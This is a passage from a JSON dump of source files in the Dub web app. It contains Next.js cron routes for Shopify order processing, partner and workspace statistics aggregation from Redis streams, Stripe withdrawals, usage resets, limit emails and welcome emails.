    "content": "import { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { processOrder } from \"@/lib/integrations/shopify/process-order\";\nimport { redis } from \"@/lib/upstash\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  checkoutToken: z.string(),\n});\n\n// POST /api/cron/shopify/order-paid\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { workspaceId, checkoutToken } = schema.parse(JSON.parse(rawBody));\n\n    // Find Shopify order\n    const event = await redis.hget(\n      `shopify:checkout:${checkoutToken}`,\n      \"order\",\n    );\n\n    if (!event) {\n      return new Response(\n        `[Shopify] Order with checkout token ${checkoutToken} not found. Skipping...`,\n      );\n    }\n\n    const clickId = await redis.hget<string>(\n      `shopify:checkout:${checkoutToken}`,\n      \"clickId\",\n    );\n\n    // clickId is empty, order is not from a Dub link\n    if (clickId === \"\") {\n      // set key to expire in 24 hours\n      await redis.expire(`shopify:checkout:${checkoutToken}`, 60 * 60 * 24);\n\n      return new Response(\n        `[Shopify] Order is not from a Dub link. Skipping...`,\n      );\n    }\n\n    // clickId is found, process the order for the new customer\n    else if (clickId) {\n      await processOrder({\n        event,\n        workspaceId,\n        clickId,\n      });\n\n      return new Response(\"[Shopify] Order event processed successfully.\");\n    }\n\n    // Wait for the click event to come from Shopify pixel\n    else {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message:\n          \"[Shopify] Click event not found. Waiting for Shopify pixel event...\",\n      });\n    }\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/streams/update-partner-stats/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { conn } from \"@/lib/planetscale\";\nimport {\n  PartnerActivityEvent,\n  partnerActivityStream,\n} from \"@/lib/upstash/redis-streams\";\nimport { prisma } from \"@dub/prisma\";\nimport { ProgramEnrollment } from \"@dub/prisma/client\";\nimport { toCentsNumber } from \"@dub/utils\";\nimport { differenceInDays, format } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 6000;\n\ntype ProgramEnrollmentStats = Partial<\n  Pick<\n    ProgramEnrollment,\n    | \"totalClicks\"\n    | \"totalLeads\"\n    | \"totalConversions\"\n    | \"totalSales\"\n    | \"totalSaleAmount\"\n    | \"totalCommissions\"\n    | \"netRevenue\"\n    | \"earningsPerClick\"\n    | \"averageLifetimeValue\"\n    | \"clickToLeadRate\"\n    | \"clickToConversionRate\"\n    | \"leadToConversionRate\"\n    | \"returnOnAdSpend\"\n    | \"lastConversionAt\"\n    | \"daysSinceLastConversion\"\n    | \"consistencyScore\"\n  >\n>;\n\nconst processPartnerActivityStreamBatch = () =>\n  partnerActivityStream.processBatch<PartnerActivityEvent>(\n    async (entries) => {\n      if (!entries || Object.keys(entries).length === 0) {\n        return {\n          success: true,\n          updates: [],\n          processedEntryIds: [],\n        };\n      }\n\n      console.log(`Aggregating ${entries.length} partner activity events`);\n\n      // Collect all unique program:partner combinations from all events\n      const uniqueProgramPartners = new Set<string>();\n      entries.forEach((entry) => {\n        const { programId, partnerId } = entry.data;\n        uniqueProgramPartners.add(`${programId}:${partnerId}`);\n      });\n\n      const programPartnerPairs = Array.from(uniqueProgramPartners);\n\n      if (programPartnerPairs.length === 0) {\n        return {\n          success: true,\n          updates: [],\n          processedEntryIds: entries.map((e) => e.id),\n        };\n      }\n\n      const programIds = [\n        ...new Set(programPartnerPairs.map((p) => p.split(\":\")[0])),\n      ];\n      const partnerIds = [\n        ...new Set(programPartnerPairs.map((p) => p.split(\":\")[1])),\n      ];\n\n      // Query both link and commission stats in parallel for all program:partner pairs\n      const [partnerLinkStats, partnerCommissionStats] = await Promise.all([\n        prisma.link.groupBy({\n          by: [\"programId\", \"partnerId\"],\n          where: {\n            programId: { in: programIds },\n            partnerId: { in: partnerIds },\n          },\n          _sum: {\n            clicks: true,\n            leads: true,\n            conversions: true,\n            sales: true,\n            saleAmount: true,\n          },\n          _max: {\n            lastConversionAt: true,\n          },\n        }),\n        prisma.commission.groupBy({\n          by: [\"programId\", \"partnerId\"],\n          where: {\n            earnings: { not: 0 },\n            programId: { in: programIds },\n            partnerId: { in: partnerIds },\n            status: { in: [\"pending\", \"processed\", \"paid\"] },\n          },\n          _sum: {\n            earnings: true,\n          },\n        }),\n      ]);\n\n      // Merge link and commission stats into a single object\n      const programEnrollmentsToUpdate: Record<string, ProgramEnrollmentStats> =\n        {};\n\n      // Initialize all program:partner pairs\n      programPartnerPairs.forEach((pair) => {\n        programEnrollmentsToUpdate[pair] = {};\n      });\n\n      // Add link stats\n      partnerLinkStats.forEach((p) => {\n        const key = `${p.programId}:${p.partnerId}`;\n        programEnrollmentsToUpdate[key] = {\n          ...programEnrollmentsToUpdate[key],\n          totalClicks: p._sum.clicks ?? undefined,\n          totalLeads: p._sum.leads ?? undefined,\n          totalConversions: p._sum.conversions ?? undefined,\n          totalSales: p._sum.sales ?? undefined,\n          totalSaleAmount: p._sum.saleAmount ?? undefined,\n          lastConversionAt: p._max.lastConversionAt ?? undefined,\n        };\n      });\n\n      // Add commission stats\n      partnerCommissionStats.forEach((c) => {\n        const key = `${c.programId}:${c.partnerId}`;\n        programEnrollmentsToUpdate[key] = {\n          ...programEnrollmentsToUpdate[key],\n          totalCommissions: BigInt(c._sum.earnings ?? 0),\n        };\n      });\n\n      // Calculate derived metrics for each enrollment\n      Object.keys(programEnrollmentsToUpdate).forEach((key) => {\n        const enrollment = programEnrollmentsToUpdate[key];\n        const {\n          totalClicks,\n          totalLeads,\n          totalConversions,\n          totalSaleAmount,\n          lastConversionAt,\n          totalCommissions,\n        } = enrollment;\n\n        const totalSaleAmountNum =\n          totalSaleAmount != null ? toCentsNumber(totalSaleAmount) : undefined;\n        const totalCommissionsNum =\n          totalCommissions != null\n            ? toCentsNumber(totalCommissions)\n            : undefined;\n\n        // Calculate netRevenue\n        if (\n          totalSaleAmountNum !== undefined &&\n          totalCommissionsNum !== undefined\n        ) {\n          enrollment.netRevenue = BigInt(\n            Math.round(totalSaleAmountNum - totalCommissionsNum),\n          );\n        }\n\n        // Calculate earningsPerClick\n        if (totalSaleAmountNum !== undefined && totalClicks) {\n          enrollment.earningsPerClick = totalSaleAmountNum / totalClicks;\n        }\n\n        // Calculate average lifetime value (totalSaleAmount / totalConversions)\n        if (totalConversions && totalSaleAmountNum !== undefined) {\n          enrollment.averageLifetimeValue =\n            totalSaleAmountNum / totalConversions;\n        }\n\n        // Calculate click to lead rate (totalLeads / totalClicks)\n        if (totalLeads && totalClicks) {\n          enrollment.clickToLeadRate = totalLeads / totalClicks;\n        }\n\n        // Calculate click to conversion rate (totalConversions / totalClicks)\n        if (totalConversions && totalClicks) {\n          enrollment.clickToConversionRate = totalConversions / totalClicks;\n        }\n\n        // Calculate lead to conversion rate (totalConversions / totalLeads)\n        if (totalConversions && totalLeads) {\n          enrollment.leadToConversionRate = totalConversions / totalLeads;\n        }\n\n        // Calculate return on ad spend (totalSaleAmount / totalCommissions)\n        if (totalSaleAmountNum !== undefined && totalCommissionsNum) {\n          enrollment.returnOnAdSpend = totalSaleAmountNum / totalCommissionsNum;\n        }\n\n        // Calculate days since last conversion\n        if (lastConversionAt) {\n          enrollment.daysSinceLastConversion = differenceInDays(\n            new Date(),\n            new Date(lastConversionAt),\n          );\n        }\n\n        // Calculate consistency score based on days since last conversion\n        let consistencyScore = 50;\n        if (\n          lastConversionAt &&\n          enrollment.daysSinceLastConversion !== null &&\n          enrollment.daysSinceLastConversion !== undefined\n        ) {\n          if (enrollment.daysSinceLastConversion <= 7) {\n            consistencyScore = 100;\n          } else if (enrollment.daysSinceLastConversion <= 30) {\n            consistencyScore = 85;\n          } else if (enrollment.daysSinceLastConversion <= 90) {\n            consistencyScore = 70;\n          } else if (enrollment.daysSinceLastConversion <= 180) {\n            consistencyScore = 55;\n          } else {\n            consistencyScore = 40;\n          }\n        }\n\n        enrollment.consistencyScore = consistencyScore;\n      });\n\n      const programEnrollmentsToUpdateArray = Object.entries(\n        programEnrollmentsToUpdate,\n      ).map(([key, value]) => ({\n        programId: key.split(\":\")[0],\n        partnerId: key.split(\":\")[1],\n        ...value,\n      }));\n\n      console.table(programEnrollmentsToUpdateArray);\n\n      if (programEnrollmentsToUpdateArray.length === 0) {\n        console.log(\"No program enrollments to update\");\n        return { success: true, updates: [], processedEntryIds: [] };\n      }\n\n      console.log(\n        `Processing ${programEnrollmentsToUpdateArray.length} program enrollments updates...`,\n      );\n\n      // Process updates in parallel batches to avoid overwhelming the database\n      const SUB_BATCH_SIZE = 50;\n      const batches: (typeof programEnrollmentsToUpdateArray)[] = [];\n\n      for (\n        let i = 0;\n        i < programEnrollmentsToUpdateArray.length;\n        i += SUB_BATCH_SIZE\n      ) {\n        batches.push(\n          programEnrollmentsToUpdateArray.slice(i, i + SUB_BATCH_SIZE),\n        );\n      }\n\n      let totalProcessed = 0;\n      const errors: { programId: string; partnerId: string; error: any }[] = [];\n      const processedEntryIds: string[] = [];\n\n      // Collect all entry IDs for tracking\n      entries.forEach((entry) => {\n        processedEntryIds.push(entry.id);\n      });\n\n      for (const batch of batches) {\n        await Promise.allSettled(\n          batch.map(async (programEnrollment) => {\n            const { programId, partnerId, ...stats } = programEnrollment;\n            const finalStatsToUpdate = Object.entries(stats).filter(\n              ([_, value]) =>\n                value !== undefined &&\n                (typeof value !== \"number\" || Number.isFinite(value)),\n            );\n\n            try {\n              // Update program enrollment stats\n              if (finalStatsToUpdate.length > 0) {\n                await conn.execute(\n                  `UPDATE ProgramEnrollment SET ${finalStatsToUpdate\n                    .map(([key, _]) => `${key} = ?`)\n                    .join(\", \")} WHERE programId = ? AND partnerId = ?`,\n                  [\n                    ...finalStatsToUpdate.map(([_, value]) =>\n                      value instanceof Date\n                        ? format(value, \"yyyy-MM-dd HH:mm:ss\")\n                        : value,\n                    ),\n                    programId,\n                    partnerId,\n                  ],\n                );\n              }\n              totalProcessed++;\n            } catch (error) {\n              console.error(\n                `Failed to update program enrollment ${programId}:${partnerId}:`,\n                error,\n              );\n              errors.push({\n                programId,\n                partnerId,\n                error,\n              });\n            }\n          }),\n        );\n      }\n\n      // Log results\n      const successRate =\n        (totalProcessed / programEnrollmentsToUpdateArray.length) * 100;\n      console.log(\n        `Processed ${totalProcessed}/${programEnrollmentsToUpdateArray.length} program enrollments updates (${successRate.toFixed(1)}% success rate)`,\n      );\n\n      if (errors.length > 0) {\n        console.error(\n          `Encountered ${errors.length} errors while processing:`,\n          errors.slice(0, 5),\n        ); // Log first 5 errors\n      }\n\n      return {\n        updates: programEnrollmentsToUpdateArray,\n        errors,\n        totalProcessed,\n        processedEntryIds,\n      };\n    },\n    {\n      count: BATCH_SIZE,\n      deleteAfterRead: true,\n    },\n  );\n\n// This route is used to process partner activity events from Redis streams\n// It runs every 5 minutes with a batch size of 6,000 to consume high-frequency partner activity updates\n// GET /api/cron/streams/update-partner-stats\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    console.log(\"Processing partner activity events from Redis stream...\");\n\n    const { updates, errors, totalProcessed } =\n      await processPartnerActivityStreamBatch();\n\n    if (!updates.length) {\n      return NextResponse.json({\n        success: true,\n        message: \"No updates to process\",\n        processed: 0,\n      });\n    }\n\n    // Get stream info for monitoring\n    const streamInfo = await partnerActivityStream.getStreamInfo();\n    const response = {\n      success: true,\n      processed: totalProcessed,\n      errors: errors?.length || 0,\n      streamInfo,\n      message: `Successfully processed ${totalProcessed} partner activity updates`,\n    };\n    console.log(response);\n\n    return NextResponse.json(response);\n  } catch (error) {\n    console.error(\"Failed to process partner activity updates:\", error);\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/streams/update-workspace-clicks/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { conn } from \"@/lib/planetscale\";\nimport {\n  ClickEvent,\n  RedisStreamEntry,\n  workspaceUsageStream,\n} from \"@/lib/upstash/redis-streams\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 10000;\n\ntype WorkspaceAggregateUsage = {\n  workspaceId: string;\n  clicks: number;\n  firstTimestamp: number;\n  lastTimestamp: number;\n  entryIds: string[];\n};\n\nconst aggregateWorkspaceUsage = (\n  entries: RedisStreamEntry<ClickEvent>[],\n): { updates: WorkspaceAggregateUsage[]; lastProcessedId: string | null } => {\n  // Aggregate usage by workspaceId\n  const aggregatedUsage = new Map<string, WorkspaceAggregateUsage>();\n\n  let lastId: string | null = null;\n\n  console.log(`Aggregating ${entries.length} workspace usage events`);\n\n  // The entries are a batch of workspace usage events, each with workspaceId, timestamp, and linkId.\n  // We want to aggregate by workspaceId, counting total events (clicks) and tracking first/last timestamps.\n\n  for (const entry of entries) {\n    const workspaceId = entry.data.workspaceId;\n\n    if (!workspaceId) {\n      continue;\n    }\n\n    const timestamp = Date.parse(entry.data.timestamp) / 1000;\n\n    lastId = entry.id;\n\n    if (aggregatedUsage.has(workspaceId)) {\n      const existing = aggregatedUsage.get(workspaceId)!;\n      existing.clicks += 1;\n      existing.lastTimestamp = Math.max(existing.lastTimestamp, timestamp);\n      existing.firstTimestamp = Math.min(existing.firstTimestamp, timestamp);\n      existing.entryIds.push(entry.id);\n    } else {\n      aggregatedUsage.set(workspaceId, {\n        workspaceId,\n        clicks: 1,\n        firstTimestamp: timestamp,\n        lastTimestamp: timestamp,\n        entryIds: [entry.id],\n      });\n    }\n  }\n\n  return {\n    updates: Array.from(aggregatedUsage.values()),\n    lastProcessedId: lastId,\n  };\n};\n\nconst processWorkspaceUpdateStreamBatch = () =>\n  workspaceUsageStream.processBatch<ClickEvent>(\n    async (entries) => {\n      if (!entries || Object.keys(entries).length === 0) {\n        return {\n          success: true,\n          updates: [],\n          processedEntryIds: [],\n        };\n      }\n\n      const { updates, lastProcessedId } = aggregateWorkspaceUsage(entries);\n\n      if (updates.length === 0) {\n        console.log(\"No workspace usage updates to process\");\n        return { success: true, updates: [], processedEntryIds: [] };\n      }\n\n      console.log(\n        `Processing ${updates.length} aggregated workspace usage updates...`,\n      );\n\n      // Process updates in parallel batches to avoid overwhelming the database\n      const SUB_BATCH_SIZE = 50;\n      const batches: (typeof updates)[] = [];\n\n      for (let i = 0; i < updates.length; i += SUB_BATCH_SIZE) {\n        batches.push(updates.slice(i, i + SUB_BATCH_SIZE));\n      }\n\n      let totalProcessed = 0;\n      const errors: { workspaceId: string; error: any }[] = [];\n      const processedEntryIds: string[] = [];\n\n      for (const batch of batches) {\n        try {\n          // Execute all updates in the batch in parallel\n          const batchPromises = batch.map(async (update) => {\n            try {\n              // Update the workspace usage and click counts\n              await conn.execute(\n                \"UPDATE Project p SET p.usage = p.usage + ?, p.totalClicks = p.totalClicks + ? WHERE id = ?\",\n                [update.clicks, update.clicks, update.workspaceId],\n              );\n\n              processedEntryIds.push(...update.entryIds);\n\n              return {\n                ...update,\n                success: true,\n              };\n            } catch (error) {\n              console.error(\n                `Failed to update workspace ${update.workspaceId}:`,\n                error,\n              );\n              return {\n                success: false,\n                error: { workspaceId: update.workspaceId, error },\n              };\n            }\n          });\n\n          const batchResults = await Promise.allSettled(batchPromises);\n\n          // Count successful updates and collect errors\n          batchResults.forEach((result) => {\n            if (result.status === \"fulfilled\" && result.value.success) {\n              totalProcessed++;\n            } else if (\n              result.status === \"fulfilled\" &&\n              !result.value.success &&\n              result.value.error\n            ) {\n              errors.push(result.value.error);\n            }\n          });\n        } catch (error) {\n          console.error(\"Failed to process batch:\", error);\n          errors.push(error);\n        }\n      }\n\n      // Log results\n      const successRate = (totalProcessed / updates.length) * 100;\n      console.log(\n        `Processed ${totalProcessed}/${updates.length} workspace usage updates (${successRate.toFixed(1)}% success rate)`,\n      );\n\n      if (errors.length > 0) {\n        console.error(\n          `Encountered ${errors.length} errors while processing:`,\n          errors.slice(0, 5),\n        ); // Log first 5 errors\n      }\n\n      return {\n        updates,\n        errors,\n        totalProcessed,\n        lastProcessedId,\n        processedEntryIds,\n      };\n    },\n    {\n      count: BATCH_SIZE,\n      deleteAfterRead: true,\n    },\n  );\n\n// This route is used to process aggregated workspace usage events from Redis streams\n// It runs every minute with a batch size of 10,000 to consume high-frequency usage updates\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    console.log(\"Processing workspace usage updates from Redis stream...\");\n\n    const { updates, errors, totalProcessed, lastProcessedId } =\n      await processWorkspaceUpdateStreamBatch();\n\n    if (!updates.length) {\n      return NextResponse.json({\n        success: true,\n        message: \"No updates to process\",\n        processed: 0,\n      });\n    }\n\n    // Get stream info for monitoring\n    const streamInfo = await workspaceUsageStream.getStreamInfo();\n    const response = {\n      success: true,\n      processed: totalProcessed,\n      errors: errors?.length || 0,\n      lastProcessedId,\n      streamInfo,\n      message: `Successfully processed ${totalProcessed} workspace usage updates`,\n    };\n    console.log(response);\n\n    return NextResponse.json(response);\n  } catch (error) {\n    console.error(\"Failed to process workspace usage updates:\", error);\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/trigger-withdrawal/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { stripe } from \"@/lib/stripe\";\nimport { prisma } from \"@dub/prisma\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport { logAndRespond } from \"../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to trigger withdrawal from Stripe (since we're using manual payouts)\n// Runs twice a day at midnight and noon UTC (0 0 * * * and 0 12 * * *)\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    const [stripeBalanceData, payoutsToBeSentData] = await Promise.all([\n      stripe.balance.retrieve(),\n      prisma.payout.aggregate({\n        where: {\n          status: {\n            in: [\"processing\", \"processed\"],\n          },\n        },\n        _sum: {\n          amount: true,\n        },\n      }),\n    ]);\n\n    // available to withdraw (USD)\n    const currentAvailableBalance =\n      stripeBalanceData.available.find((b) => b.currency === \"usd\")?.amount ??\n      0;\n    // balance waiting to settle (USD)\n    const currentPendingBalance =\n      stripeBalanceData.pending.find((b) => b.currency === \"usd\")?.amount ?? 0;\n\n    // x-slack-ref: https://dub.slack.com/archives/C074P7LMV9C/p1750185638973479\n    const currentNetBalance =\n      currentPendingBalance < 0\n        ? currentAvailableBalance + currentPendingBalance\n        : currentAvailableBalance;\n\n    const payoutsToBeSent = payoutsToBeSentData._sum.amount ?? 0;\n    const reservedBalance = 30_000_00; // keep at least $30,000 in the account\n    const balanceToWithdraw =\n      currentNetBalance - payoutsToBeSent - reservedBalance;\n\n    console.log({\n      currentAvailableBalance: `${currencyFormatter(currentAvailableBalance)}`,\n      currentPendingBalance: `${currencyFormatter(currentPendingBalance)}`,\n      currentNetBalance: `${currencyFormatter(currentNetBalance)}`,\n      payoutsToBeSent: `${currencyFormatter(payoutsToBeSent)}`,\n      balanceToWithdraw: `${currencyFormatter(balanceToWithdraw)}`,\n    });\n\n    if (balanceToWithdraw <= 0) {\n      return logAndRespond(\n        `Balance to withdraw (after deducting payouts to be sent and reserved balance) is less than $0, skipping...`,\n      );\n    }\n\n    const createdPayout = await stripe.payouts.create({\n      amount: balanceToWithdraw,\n      currency: \"usd\",\n    });\n\n    return logAndRespond(\n      `Created payout: ${createdPayout.id} (${currencyFormatter(createdPayout.amount)})`,\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/usage/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { updateUsage } from \"./utils\";\n\n/*\n    This route is used to update the usage stats of each workspace.\n    Runs once every day at noon UTC (0 12 * * *)\n*/\nexport const dynamic = \"force-dynamic\";\n\nasync function handler(req: Request) {\n  try {\n    if (req.method === \"GET\") {\n      await verifyVercelSignature(req);\n    } else if (req.method === \"POST\") {\n      await verifyQstashSignature({\n        req,\n        rawBody: await req.text(),\n      });\n    }\n\n    await updateUsage();\n\n    return NextResponse.json({\n      response: \"success\",\n    });\n  } catch (error) {\n    await log({\n      message: `Error updating usage: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/usage/utils.ts",
    "content": "import { getAnalytics } from \"@/lib/analytics/get-analytics\";\nimport { qstash } from \"@/lib/cron\";\nimport { sendLimitEmail } from \"@/lib/cron/send-limit-email\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport ClicksSummary from \"@dub/email/templates/clicks-summary\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  capitalize,\n  getAdjustedBillingCycleStart,\n  log,\n} from \"@dub/utils\";\n\nconst limit = 100;\n\nexport const updateUsage = async () => {\n  const workspaces = await prisma.project.findMany({\n    where: {\n      // Check only workspaces that haven't been checked in the last 12 hours\n      usageLastChecked: {\n        lt: new Date(new Date().getTime() - 12 * 60 * 60 * 1000),\n      },\n    },\n    include: {\n      users: {\n        select: {\n          user: true,\n        },\n        where: {\n          user: {\n            isMachine: false,\n          },\n          notificationPreference: {\n            linkUsageSummary: true,\n          },\n        },\n        orderBy: {\n          createdAt: \"asc\",\n        },\n        take: 10, // Only send to the first 10 users\n      },\n      sentEmails: true,\n    },\n    orderBy: [\n      {\n        usageLastChecked: \"asc\",\n      },\n      {\n        createdAt: \"asc\",\n      },\n    ],\n    take: limit,\n  });\n\n  // if no workspaces left, meaning cron is complete\n  if (workspaces.length === 0) {\n    return;\n  }\n\n  // Reset billing cycles for workspaces that have\n  // adjustedBillingCycleStart that matches today's date\n  const billingReset = workspaces.filter(\n    ({ billingCycleStart }) =>\n      getAdjustedBillingCycleStart(billingCycleStart as number) ===\n      new Date().getDate(),\n  );\n\n  // Reset usage and alert emails for the billingReset workspaces\n  // also send 30-day summary email\n  await Promise.allSettled(\n    billingReset.map(async (workspace) => {\n      const { plan, usage, usageLimit } = workspace;\n\n      /* \n        We only reset clicks usage if it's not over usageLimit by:\n        - 4x for free plan (4K clicks)\n        - 2x for all other plans\n      */\n\n      const resetUsage =\n        plan === \"free\" ? usage <= usageLimit * 4 : usage <= usageLimit * 2;\n\n      await prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          ...(resetUsage && {\n            usage: 0,\n          }),\n          linksUsage: 0,\n          payoutsUsage: 0,\n          aiUsage: 0,\n          sentEmails: {\n            deleteMany: {\n              type: {\n                in: [\n                  \"firstUsageLimitEmail\",\n                  \"secondUsageLimitEmail\",\n                  \"firstLinksLimitEmail\",\n                  \"secondLinksLimitEmail\",\n                ],\n              },\n            },\n          },\n        },\n      });\n\n      /* Only send the 30-day summary email if:\n         - the workspace has at least 1 link click\n         - the workspace was created more than 30 days ago\n       */\n      if (\n        workspace.usage > 0 &&\n        workspace.createdAt.getTime() <\n          new Date().getTime() - 30 * 24 * 60 * 60 * 1000\n      ) {\n        const topLinks = await getAnalytics({\n          workspaceId: workspace.id,\n          event: \"clicks\",\n          groupBy: \"top_links\",\n          interval: \"30d\",\n          root: false,\n        });\n\n        const topLinkIds = topLinks.slice(0, 100).map(({ link }) => link);\n\n        const linksMetadata = await prisma.link.findMany({\n          where: {\n            projectId: workspace.id,\n            id: {\n              in: topLinkIds,\n            },\n          },\n          select: {\n            id: true,\n            shortLink: true,\n          },\n        });\n\n        const topFiveLinks = topLinks\n          .filter((d: { link: string; clicks: number }) =>\n            linksMetadata.find((l) => l.id === d.link),\n          )\n          .slice(0, 5)\n          .map((d: { link: string; clicks: number }) => ({\n            link: linksMetadata.find((l) => l.id === d.link)!, // coerce here since we're already filtering out links that don't exist\n            clicks: d.clicks,\n          }));\n\n        const totalClicks = topLinks.reduce(\n          (acc, curr) => acc + curr.clicks,\n          0,\n        );\n\n        const emails = workspace.users.map(\n          (user) => user.user.email,\n        ) as string[];\n\n        await sendBatchEmail(\n          emails.map((email) => ({\n            subject: `Your 30-day ${process.env.NEXT_PUBLIC_APP_NAME} summary for ${workspace.name}`,\n            to: email,\n            react: ClicksSummary({\n              email,\n              workspaceName: workspace.name,\n              workspaceSlug: workspace.slug,\n              totalClicks,\n              createdLinks: workspace.linksUsage,\n              topLinks: topFiveLinks,\n            }),\n            variant: \"notifications\",\n          })),\n        );\n      }\n    }),\n  );\n\n  // Update usageLastChecked for workspaces\n  await prisma.project.updateMany({\n    where: {\n      id: {\n        in: workspaces.map(({ id }) => id),\n      },\n    },\n    data: {\n      usageLastChecked: new Date(),\n    },\n  });\n\n  // Get all workspaces that have exceeded usage\n  const exceedingUsage = workspaces.filter(\n    ({ usage, usageLimit }) => usage > usageLimit,\n  );\n\n  // Send email to notify overages\n  await Promise.allSettled(\n    exceedingUsage.map(async (workspace) => {\n      const { slug, plan, usage, usageLimit, users, sentEmails } = workspace;\n      const emails = users.map((user) => user.user.email) as string[];\n\n      await log({\n        message: `*${slug}* is over their *${capitalize(\n          plan,\n        )} Plan* usage limit. Usage: ${usage}, Limit: ${usageLimit}, Email: ${emails.join(\n          \", \",\n        )}`,\n        type: plan === \"free\" ? \"cron\" : \"alerts\",\n        mention: plan !== \"free\",\n      });\n      const sentFirstUsageLimitEmail = sentEmails.some(\n        (email) => email.type === \"firstUsageLimitEmail\",\n      );\n      if (!sentFirstUsageLimitEmail) {\n        sendLimitEmail({\n          emails,\n          workspace: workspace as unknown as WorkspaceProps,\n          type: \"firstUsageLimitEmail\",\n        });\n      } else {\n        const sentSecondUsageLimitEmail = sentEmails.some(\n          (email) => email.type === \"secondUsageLimitEmail\",\n        );\n        if (!sentSecondUsageLimitEmail) {\n          const daysSinceFirstEmail = Math.floor(\n            (new Date().getTime() -\n              new Date(sentEmails[0].createdAt).getTime()) /\n              (1000 * 3600 * 24),\n          );\n          if (daysSinceFirstEmail >= 3) {\n            sendLimitEmail({\n              emails,\n              workspace: workspace as unknown as WorkspaceProps,\n              type: \"secondUsageLimitEmail\",\n            });\n          }\n        }\n      }\n    }),\n  );\n\n  return await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/usage`,\n    method: \"POST\",\n    body: {},\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/utils.ts",
    "content": "export function logAndRespond(\n  message: string,\n  {\n    status = 200,\n    logLevel = \"info\",\n  }: {\n    status?: number;\n    logLevel?: \"error\" | \"warn\" | \"info\";\n  } = {},\n) {\n  console[logLevel](message);\n  return new Response(message, { status });\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/welcome-user/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { generateUnsubscribeToken } from \"@/lib/email/unsubscribe-token\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { sendEmail } from \"@dub/email\";\nimport WelcomeEmail from \"@dub/email/templates/welcome-email\";\nimport WelcomeEmailPartner from \"@dub/email/templates/welcome-email-partner\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN, PARTNERS_DOMAIN } from \"@dub/utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n/*\n    This route is used to send a welcome email to new users + subscribe them to the corresponding Resend audience\n    It is called by QStash 45 minutes after a user is created.\n*/\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { userId } = JSON.parse(rawBody);\n\n    const user = await prisma.user.findUnique({\n      where: {\n        id: userId,\n      },\n      select: {\n        name: true,\n        email: true,\n        partners: true,\n\n        projects: {\n          select: {\n            project: {\n              select: {\n                slug: true,\n                name: true,\n                logo: true,\n                plan: true,\n                programs: {\n                  select: {\n                    slug: true,\n                    name: true,\n                    logo: true,\n                  },\n                  orderBy: {\n                    createdAt: \"desc\",\n                  },\n                  take: 1,\n                },\n              },\n            },\n          },\n          orderBy: {\n            createdAt: \"asc\",\n          },\n          take: 1,\n        },\n      },\n    });\n\n    if (!user) {\n      return new Response(\"User not found. Skipping...\", { status: 200 });\n    }\n\n    // this shouldn't happen but just in case\n    if (!user.email) {\n      return new Response(\"User email not found. Skipping...\", { status: 200 });\n    }\n\n    const isPartner = user.partners.length > 0;\n\n    const unsubscribeUrl = `${isPartner ? PARTNERS_DOMAIN : APP_DOMAIN}/unsubscribe/${generateUnsubscribeToken(user.email)}`;\n\n    await Promise.allSettled([\n      sendEmail({\n        to: user.email,\n        replyTo: isPartner ? \"noreply\" : \"steven.tey@dub.co\",\n        subject: `Welcome to Dub${isPartner ? \" Partners\" : \"\"}!`,\n        react: isPartner\n          ? WelcomeEmailPartner({\n              email: user.email,\n              name: user.name,\n              unsubscribeUrl,\n            })\n          : WelcomeEmail({\n              email: user.email,\n              workspace: 